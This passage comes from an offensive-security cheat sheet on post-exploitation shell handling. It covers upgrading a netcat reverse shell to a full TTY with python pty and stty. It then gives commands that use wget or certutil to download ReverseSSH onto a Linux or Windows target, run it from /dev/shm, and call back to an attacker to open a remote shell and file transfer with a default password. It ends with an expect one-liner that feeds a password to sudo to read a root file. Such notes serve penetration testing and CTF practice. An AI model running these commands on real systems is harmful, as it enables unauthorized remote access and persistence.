Note that the shell you set in the
SHELL variable must be listed inside /etc/shells or The value for the SHELL variable was not found in the /etc/shells file This incident has been reported. Also, note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running bash.python3 -c 'import pty; pty.spawn("/bin/bash")'
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

A convenient way for interactive shell access, as well as file transfers and port forwarding, is dropping the statically-linked ssh server ReverseSSH onto the target.
- 1.Prepare locally to catch the ssh port forwarding request:
# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
/dev/shm/reverse-ssh -v -l -p 4444
- (2a) Linux target:
# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
/dev/shm/reverse-ssh -p 4444 [email protected]
# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe
reverse-ssh.exe -p 4444 [email protected]
- If the ReverseSSH port forwarding request was successful, you should now be able to log in with the default password
letmeinbrudiplsin the context of the user runningreverse-ssh(.exe):
# Interactive shell access
ssh -p 8888 127.0.0.1
# Bidirectional file transfer
sftp -P 8888 127.0.0.1
If for some reason you cannot obtain a full TTY you still can interact with programs that expect user input. In the following example, the password is passed to
sudo to read a file:expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
